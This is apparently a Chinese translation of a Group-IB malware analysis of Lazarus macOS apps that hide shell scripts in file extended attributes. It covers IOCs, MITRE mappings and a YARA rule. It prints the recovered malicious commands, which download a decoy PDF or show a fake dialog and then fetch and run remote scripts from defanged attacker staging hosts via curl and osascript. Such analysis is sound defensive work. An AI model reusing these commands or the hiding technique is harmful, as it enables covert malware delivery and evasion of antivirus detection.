朝鲜半岛

朝鲜APT 组织Lazarus 的隐秘属性:利用扩展属性逃避检测

介绍

Lazarus APT 组织已开始尝试使用自定义扩展属性代码逃避检测。

扩展属性是可与各种文件系统中的文件和目录关联的元数据。它们允许用户存储除文件大小、时间戳和权限等标准属性之外的其他文件信息。

在研究滥用扩展属性的恶意软件时,发现最相似的技术是 2020 年的一种技术,其中邦德传说广告软件将其有效负载隐藏在资源分支中,并通过特殊路径“filename/..namedfork/rsrc”访问。资源分支是旧版 macOS(和经典 Mac OS)系统上文件的一个特殊部分,用于存储与文件相关的结构化数据。它用于存储图标、自定义窗口布局和其他文件特定设置或资源等内容。资源分支在现代 macOS 中已基本弃用,已被应用程序包结构和扩展属性取代。那么,为什么不将代码隐藏在自定义扩展属性中呢?

我们在野外仅发现了几个样本,无法明确确认此次事件中是否有受害者。他们也有可能正在试验在 macOS 文件中隐藏代码的方法。

APT Lazarus 的隐秘属性

隐藏在属性中

下图说明了执行流程。我们首先来检查扩展属性。

图 1:执行流程概览

图 1:执行流程概览

扩展属性 (EA) 是可以与各种文件系统中的文件和目录关联的元数据。这些无法在 Finder 或终端中直接看到,但使用“xattr”,我们可以轻松提取和查看属性。威胁行为者定义了自定义类型“ test ”的扩展属性。

图2:使用xattr提取扩展属性

图2:使用xattr提取扩展属性

(curl -o "/Users/Shared/Discussion Points for Synergy Exploration.pdf" "hxxps://filedn.com/lY24cv0IfefboNEIN0I9gqR/dragonfly/Discussion%20Points%20for%20Synergy%20Exploration_Over.pdf" || true) && (打开 "/Users/Shared/Discussion Points for Synergy Exploration.pdf" || true) && (shell=$(curl -L -k "hxxps://support.cloudstore[.]business/256977/check");
osascript -e "执行 shell 脚本 $shell")

带有对话框的另一种变体:

(osascript -e '显示对话框“此应用程序不支持此版本。”按钮{“OK”}默认按钮“OK”带有图标停止'|| true) && (shell=$(curl -L -k "hxxps://support.docsend[.]site/519529/check");
osascript -e "执行 shell 脚本 $shell")

执行

违规应用程序是使用 Tauri 框架开发的。Tauri 是一个使用 Web 技术构建轻量级桌面应用程序的框架。它允许开发人员使用 Web 前端(HTML、CSS、JavaScript)创建应用程序,同时利用 Rust 作为后端。该应用程序将获取并执行位于扩展属性中的恶意脚本。

检查完 shell 脚本后,我们知道会显示诱饵。我们确定了两种不同类型的诱饵。对于第一种诱饵,它实际上会从 filedn[.]com 的文件托管服务中获取 PDF 文件。“投资决策问卷”中的问题与游戏项目的开发和融资有关。第二个诱饵只是一个对话框,显示“此应用不支持此版本”的消息。同时,对暂存服务器的 Web 请求在后台处理。

图 3:下载并打开诱饵 PDF

图 3:下载并打开诱饵 PDF

图 4:第二种变体显示虚假对话框

图 4:第二种变体显示虚假对话框

图 5:在文件托管服务上找到的其他相关 PDF

图 5:在文件托管服务上找到的其他相关 PDF

它是怎样被引发的?

威胁行为者 (TA) 采取了一种迂回的方式来触发执行,可能是为了让自己不那么引人注目,更难追踪。在执行应用程序时,Tauri 应用程序会尝试使用 WebView 呈现 HTML 网页。TA 使用了一些随机模板从互联网上获取。然而,在这些网页中,我们发现加载了一个名为“ preload.js ”的可疑 javascript。

图 6:TA 使用的随机网页模板

图 6:TA 使用的随机网页模板

Tauri 提供外部函数接口允许 JavaScript 代码调用 Rust 函数。这对于需要性能或直接系统访问而 JavaScript 无法有效处理的任务非常有用。invoke 函数是 Tauri 中的应用程序编程接口 (API),可促进前端 (JavaScript) 和后端 (Rust) 之间的通信,从而有效地允许前端调用 Rust 函数、传递参数和接收数据。

它在这里做的事情非常简单——使用应用程序后端提供的“get_application_properties”,从文件中获取名为“test”的扩展属性的内容,然后将其传递给“run_command”。这是 shell 脚本执行的地方。

有趣的是,下一个行为如下 - 如果该属性存在,则不会显示用户界面,而如果该属性不存在,则会显示虚假网页。

图7:preload.js代码片段

图7:preload.js代码片段

图8:get_application_properties的代码片段

图8:get_application_properties的代码片段

接口命令

这里的命令其实并不那么重要,因为它们不是命令和控制命令,而是前端调用的接口,用于获取和执行位于扩展属性中的脚本。尽管如此,我们仍然会在这里提供描述。

接口命令 描述
获取应用程序路径 获取当前可执行文件的路径
获取应用程序属性 从指定的扩展属性中检索内容
运行命令 执行传递给它的脚本/命令
显示主窗口 显示 web 视图
关闭主窗口 终止所有 Tauri 进程并退出

图 9:可用的接口命令

检测

在我们分析时,这些文件在 VirusTotal 上完全未被检测到,可能是因为恶意组件隐藏在属性中。

图 10:VirusTotal 检测结果

图 10:VirusTotal 检测结果

这些应用程序很可能是使用泄露的证书签名的,但该证书已被 Apple 撤销。值得庆幸的是,这些应用程序未经公证。目前尚不清楚在撤销之前是否有任何受害者。目前,macOS Gatekeeper 会阻止这些应用程序的执行,除非用户选择覆盖这些保护措施。

图 11:之前的状态 - 已签署但未经公证

图 11:之前的状态——已签署但未经公证

![图 12:当前状态 - 证书已撤销](data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20713%2022'%3E%3C/svg%3E)

图 12:当前状态 – 证书已撤销

拉撒路集团

不幸的是,在我们研究时,下一阶段尚无法下载。然而,它连接的用于获取下一阶段的暂存服务器被识别为 Lazarus 的一部分基础设施2024 年 5 月。

图 13:Group-IB 的图表显示了 Lazarus IOC 之间的联系

图 13:Group-IB 的图表显示了 Lazarus IOC 之间的联系

诱饵 PDF 和其中一个恶意应用程序包托管在名为 pCloud 的文件共享服务的公共文件夹中。相关帐户还托管了“专用 PDF 查看器.zip”文件,已知该文件展现了 Lazarus 集团在 2023 年使用的 RustBucket 恶意软件的特征。该帐户的公共文件夹托管了以下文件。总体主题就业机会和加密货币与 Lazarus 保持一致。

然而,从我们对样本和 PDF 查看器的分析来看,没有发现进一步的恶意负载,也没有确认的受害者,我们仍然谨慎地将此归咎于 Lazarus 组织,我们的信心只处于中等水平。

文件夹 文件
我的我的我的 专用 PDF 查看器.zip
pdf 支持的融资 – 2024 年第二季度.pdf <br>Deepti GN 简历-2023.pdf <br>Dhagash 的简历.pdf <br>Frontier __ KCC Chain.pdf <br>投资机会 – Fenbushi Capital.pdf <br>pitch-deck.pdf <br>您不能忽视的稳定币风险.pdf <br>Thena 更新 – 2024 年 7 月.pdf <br>Truflation 最新更新 – 2024 年 7 月_.pdf <br>Win.zip
腾讯 Voov 会议(便携式).zip
蜻蜓 投资决策问卷_U.pdf <br>投资决策问卷_t3rn.pdf

图 14:公共文件夹内的文件夹和文件

结论

总之,将代码隐藏在扩展属性中的技术有效地绕过了大多数防病毒扫描程序。幸运的是,macOS 系统为发现的样本提供了一定程度的保护。要触发网络攻击,用户必须通过覆盖恶意软件保护来禁用 Gatekeeper。可能需要一定程度的互动和社会工程才能说服受害者采取这些步骤。但是,对于可能经过正确签名和公证的其他未来样本,或与 macOS Gatekeeper 绕过相结合的样本,情况可能并非如此。Lazarus 组织仍然是一个复杂且不断发展的网络威胁,不断使用新工具和方法来绕过防御,从而增强其武器库。我们预计,在通过代码签名、公证、混淆和更不显眼的自定义属性名称进一步增强此工具的可靠性后,它可能会很快被用于未来的网络攻击

MITRE 攻击和 CK

T1059.002 命令和脚本解释器:AppleScript
T1059.004 命令和脚本解释器:Unix Shell
T1564 隐藏文物
T1105 入口工具转移

攻击指标 (IOC)

网络IOCS

support[.]cloudstore[.]business

support[.]docsend[.]site

104.168.165[.]203

104.168.157[.]45

hxxps://filedn[.]com/lY24cv0IfefboNEIN0I9gqR

文件哈希

File hashes

Filenames SHA256
Discussion Points for Synergy Exploration.app.zip 7464850d7d6891418c503d0e1732812d7703d6c1fd5cf3c821f3c202786f9422
Investment Decision-Making Questionnaire.app.zip f3e6e8df132155daf1d428dff61f0ca53ecd02015a0a0bbe1ad237519ab3cb58
Investment Decision-Making Questionnaire.app.zip e87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a74f
VooV.app.zip 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862c9bbaa5e5528e
Voov meeting (portable).zip 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018c2
DD_Form & Discussion Points.zip 4bce97eff4430708299a1bb4142b9d359d8adf77a2e1673bf76485df25e6d357
DD Form Questionnaire.zip 878e3701df9b0abdaa7094e22d067c8398a9fc842cabe917fd5f75f2c84d8552
AwesomeTemplate 176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d
localfile~.x64 48ee5d0d44a015876d867fa515b04c1998fecf19badcbd69f4f3fa8497d57215
localfile~.arm64 a4cab67569d0b35c249dc536fb25dabdc12839ed4e945c59ec826c0a241b792a

YARA 规则

rule rustyattr
{
meta:
author = "Sharmine Low"
company = "Group-IB"
family = "rustyattr"
description = "Detects rust binary of rustyattr"
severity = 9
date = "2024-10-30"
sample = "176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d"

strings:
$s1 = "run_command"
$s2 = "get_application_properties"
$s3 = "get_application_path"
$s4 = "close_main_window"
$s5 = "show_main_window"

$r1 = "window.__TAURI__."

condition:
all of ($s*) and $r1
}

相关文章

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

返回顶部按钮